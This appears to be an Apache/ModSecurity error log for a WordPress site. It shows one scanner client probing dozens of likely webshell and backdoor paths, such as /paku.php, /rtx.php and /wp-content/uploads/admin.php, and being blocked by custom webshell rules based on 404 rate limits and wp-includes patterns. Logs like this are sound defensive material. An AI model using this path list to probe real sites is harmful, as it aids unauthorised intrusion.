[Tue May 19 02:33:42.415024 2026] [:error] [pid 36492:tid 36538] [client 20.151.117.104:14282] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/paku.php"] [unique_id "agtbhmCVlogrkn9m2w4vAgAAABA"]
[Tue May 19 02:33:42.832712 2026] [:error] [pid 36491:tid 36515] [client 20.151.117.104:14328] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rtx.php"] [unique_id "agtbhk555B9CZb6D60kGhAAAAVQ"]
[Tue May 19 02:33:43.256863 2026] [:error] [pid 36493:tid 36573] [client 20.151.117.104:14229] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rtx.php"] [unique_id "agtbhwynkzQB5nM668rowgAAARg"]
[Tue May 19 02:33:43.692593 2026] [:error] [pid 44087:tid 44099] [client 20.151.117.104:13899] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rtx.php"] [unique_id "agtbh25HPHbH9GK7l6wSBwAAAco"]
[Tue May 19 02:33:44.189191 2026] [:error] [pid 36492:tid 36522] [client 20.151.117.104:13893] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rtx.php"] [unique_id "agtbiGCVlogrkn9m2w4vCAAAAAA"]
[Tue May 19 02:33:44.752514 2026] [:error] [pid 36492:tid 36528] [client 20.151.117.104:14308] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/da222.php"] [unique_id "agtbiGCVlogrkn9m2w4vCwAAAAY"]
[Tue May 19 02:33:45.313661 2026] [:error] [pid 36491:tid 36506] [client 20.151.117.104:14306] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/da222.php"] [unique_id "agtbiU555B9CZb6D60kGiwAAAUs"]
[Tue May 19 02:33:45.757015 2026] [:error] [pid 36491:tid 36517] [client 20.151.117.104:13961] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/da222.php"] [unique_id "agtbiU555B9CZb6D60kGkAAAAVY"]
[Tue May 19 02:33:47.739663 2026] [autoindex:error] [pid 36492:tid 36527] [client 20.151.117.104:14013] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:33:52.197526 2026] [:error] [pid 36492:tid 36529] [client 20.151.117.104:14013] [client 20.151.117.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/index.php"] [unique_id "agtbkGCVlogrkn9m2w4vGwAAAAc"]
[Tue May 19 02:34:01.325271 2026] [:error] [pid 36491:tid 36509] [client 20.151.117.104:13995] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "agtbmU555B9CZb6D60kGuQAAAU4"]
[Tue May 19 02:34:02.278948 2026] [:error] [pid 36491:tid 36503] [client 20.151.117.104:14302] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "agtbmk555B9CZb6D60kGvgAAAUg"]
[Tue May 19 02:34:02.718547 2026] [:error] [pid 36491:tid 36502] [client 20.151.117.104:14171] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "agtbmk555B9CZb6D60kGvwAAAUc"]
[Tue May 19 02:34:03.186166 2026] [:error] [pid 36491:tid 36501] [client 20.151.117.104:14154] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/control.php"] [unique_id "agtbm0555B9CZb6D60kGwAAAAUY"]
[Tue May 19 02:34:03.644993 2026] [:error] [pid 36491:tid 36517] [client 20.151.117.104:14222] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_footer/tmpl/index.php"] [unique_id "agtbm0555B9CZb6D60kGwQAAAVY"]
[Tue May 19 02:34:04.275738 2026] [:error] [pid 44046:tid 44065] [client 20.151.117.104:14206] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_footer/tmpl/index.php"] [unique_id "agtbnIYF4k2jfXJBXk0UjQAAAZE"]
[Tue May 19 02:34:04.761738 2026] [:error] [pid 44087:tid 44097] [client 20.151.117.104:14312] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_footer/tmpl/index.php"] [unique_id "agtbnG5HPHbH9GK7l6wSEwAAAcg"]
[Tue May 19 02:34:05.298770 2026] [:error] [pid 44046:tid 44063] [client 20.151.117.104:14267] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_footer/tmpl/index.php"] [unique_id "agtbnYYF4k2jfXJBXk0UjgAAAY8"]
[Tue May 19 02:34:05.789580 2026] [:error] [pid 43916:tid 43939] [client 20.151.117.104:13877] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "agtbndQC236p33zJJvngugAAAI8"]
[Tue May 19 02:34:06.215481 2026] [:error] [pid 44087:tid 44114] [client 20.151.117.104:13901] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "agtbnm5HPHbH9GK7l6wSFQAAAdg"]
[Tue May 19 02:34:06.659338 2026] [:error] [pid 36492:tid 36532] [client 20.151.117.104:14146] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "agtbnmCVlogrkn9m2w4vHQAAAAo"]
[Tue May 19 02:34:07.366142 2026] [:error] [pid 36579:tid 36598] [client 20.151.117.104:14180] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "agtbn1-aoZxBfgL5vDy6LQAAAFA"]
[Tue May 19 02:34:07.955073 2026] [:error] [pid 36579:tid 36592] [client 20.151.117.104:13957] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax.php"] [unique_id "agtbn1-aoZxBfgL5vDy6LwAAAEo"]
[Tue May 19 02:34:08.419179 2026] [:error] [pid 36492:tid 36531] [client 20.151.117.104:14155] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax.php"] [unique_id "agtboGCVlogrkn9m2w4vHwAAAAk"]
[Tue May 19 02:34:08.916125 2026] [:error] [pid 36491:tid 36510] [client 20.151.117.104:14220] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax.php"] [unique_id "agtboE555B9CZb6D60kGwgAAAU8"]
[Tue May 19 02:34:09.400366 2026] [:error] [pid 36491:tid 36497] [client 20.151.117.104:13943] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax.php"] [unique_id "agtboU555B9CZb6D60kGwwAAAUI"]
[Tue May 19 02:34:09.846091 2026] [:error] [pid 36491:tid 36502] [client 20.151.117.104:14210] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vendor/"] [unique_id "agtboU555B9CZb6D60kGxAAAAUc"]
[Tue May 19 02:34:10.275935 2026] [:error] [pid 44087:tid 44092] [client 20.151.117.104:14273] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vendor/"] [unique_id "agtbom5HPHbH9GK7l6wSFwAAAcM"]
[Tue May 19 02:34:10.721321 2026] [:error] [pid 36491:tid 36504] [client 20.151.117.104:14244] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vendor/"] [unique_id "agtbok555B9CZb6D60kGxwAAAUk"]
[Tue May 19 02:34:11.175172 2026] [:error] [pid 43916:tid 43938] [client 20.151.117.104:13889] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vendor/"] [unique_id "agtbo9QC236p33zJJvngvwAAAI4"]
[Tue May 19 02:34:11.618994 2026] [:error] [pid 36493:tid 36570] [client 20.151.117.104:13844] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-teest.php"] [unique_id "agtbowynkzQB5nM668rozAAAARU"]
[Tue May 19 02:34:12.059877 2026] [:error] [pid 36493:tid 36573] [client 20.151.117.104:14014] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-teest.php"] [unique_id "agtbpAynkzQB5nM668rozgAAARg"]
[Tue May 19 02:34:12.522904 2026] [:error] [pid 44046:tid 44072] [client 20.151.117.104:13842] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-teest.php"] [unique_id "agtbpIYF4k2jfXJBXk0UkgAAAZg"]
[Tue May 19 02:34:12.970867 2026] [:error] [pid 44046:tid 44060] [client 20.151.117.104:14240] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-teest.php"] [unique_id "agtbpIYF4k2jfXJBXk0UkwAAAYw"]
[Tue May 19 02:34:13.412366 2026] [:error] [pid 44046:tid 44070] [client 20.151.117.104:14235] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ftde.php"] [unique_id "agtbpYYF4k2jfXJBXk0UlAAAAZY"]
[Tue May 19 02:34:13.856038 2026] [:error] [pid 36493:tid 36565] [client 20.151.117.104:13921] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ftde.php"] [unique_id "agtbpQynkzQB5nM668ro0QAAARA"]
[Tue May 19 02:34:14.287857 2026] [:error] [pid 36493:tid 36561] [client 20.151.117.104:14332] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ftde.php"] [unique_id "agtbpgynkzQB5nM668ro1AAAAQw"]
[Tue May 19 02:34:14.800453 2026] [:error] [pid 44046:tid 44057] [client 20.151.117.104:14304] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ftde.php"] [unique_id "agtbpoYF4k2jfXJBXk0UlQAAAYk"]
[Tue May 19 02:34:15.268753 2026] [:error] [pid 36493:tid 36567] [client 20.151.117.104:14232] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/admin.php"] [unique_id "agtbpwynkzQB5nM668ro1wAAARI"]
[Tue May 19 02:34:16.250920 2026] [:error] [pid 36491:tid 36500] [client 20.151.117.104:14184] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/admin.php"] [unique_id "agtbqE555B9CZb6D60kGzQAAAUU"]
[Tue May 19 02:34:17.175041 2026] [:error] [pid 36491:tid 36495] [client 20.151.117.104:14224] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/admin.php"] [unique_id "agtbqU555B9CZb6D60kGzgAAAUA"]
[Tue May 19 02:34:17.664612 2026] [:error] [pid 36491:tid 36496] [client 20.151.117.104:13835] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/admin.php"] [unique_id "agtbqU555B9CZb6D60kG0QAAAUE"]
[Tue May 19 02:34:18.227398 2026] [:error] [pid 36491:tid 36508] [client 20.151.117.104:13908] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "agtbqk555B9CZb6D60kG1AAAAU0"]
[Tue May 19 02:34:18.830559 2026] [:error] [pid 44087:tid 44109] [client 20.151.117.104:14275] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "agtbqm5HPHbH9GK7l6wSGwAAAdQ"]
[Tue May 19 02:34:19.510880 2026] [:error] [pid 44087:tid 44097] [client 20.151.117.104:14253] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "agtbq25HPHbH9GK7l6wSHAAAAcg"]
[Tue May 19 02:34:20.576101 2026] [:error] [pid 36491:tid 36504] [client 20.151.117.104:13982] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "agtbrE555B9CZb6D60kG2AAAAUk"]
[Tue May 19 02:34:21.027151 2026] [:error] [pid 36491:tid 36515] [client 20.151.117.104:14272] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "agtbrU555B9CZb6D60kG2QAAAVQ"]
[Tue May 19 02:34:21.668932 2026] [:error] [pid 36579:tid 36591] [client 20.151.117.104:13904] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "agtbrV-aoZxBfgL5vDy6OAAAAEk"]
[Tue May 19 02:34:22.155814 2026] [:error] [pid 36491:tid 36517] [client 20.151.117.104:14292] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "agtbrk555B9CZb6D60kG3AAAAVY"]
[Tue May 19 02:34:22.676296 2026] [:error] [pid 44010:tid 44029] [client 20.151.117.104:14277] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "agtbrjcFUuogD3-74-aQDwAAANE"]
[Tue May 19 02:34:23.105147 2026] [:error] [pid 44010:tid 44023] [client 20.151.117.104:14314] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agtbrzcFUuogD3-74-aQEAAAAMs"]
[Tue May 19 02:34:23.564816 2026] [:error] [pid 44010:tid 44012] [client 20.151.117.104:13838] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agtbrzcFUuogD3-74-aQEQAAAMA"]
[Tue May 19 02:34:24.105035 2026] [:error] [pid 44087:tid 44093] [client 20.151.117.104:14175] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agtbsG5HPHbH9GK7l6wSHgAAAcQ"]
[Tue May 19 02:34:24.561829 2026] [:error] [pid 44087:tid 44111] [client 20.151.117.104:14281] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "agtbsG5HPHbH9GK7l6wSHwAAAdY"]
[Tue May 19 02:34:24.987285 2026] [:error] [pid 36491:tid 36495] [client 20.151.117.104:14323] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "agtbsE555B9CZb6D60kG3wAAAUA"]
[Tue May 19 02:34:25.443069 2026] [:error] [pid 36491:tid 36506] [client 20.151.117.104:14212] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "agtbsU555B9CZb6D60kG4AAAAUs"]
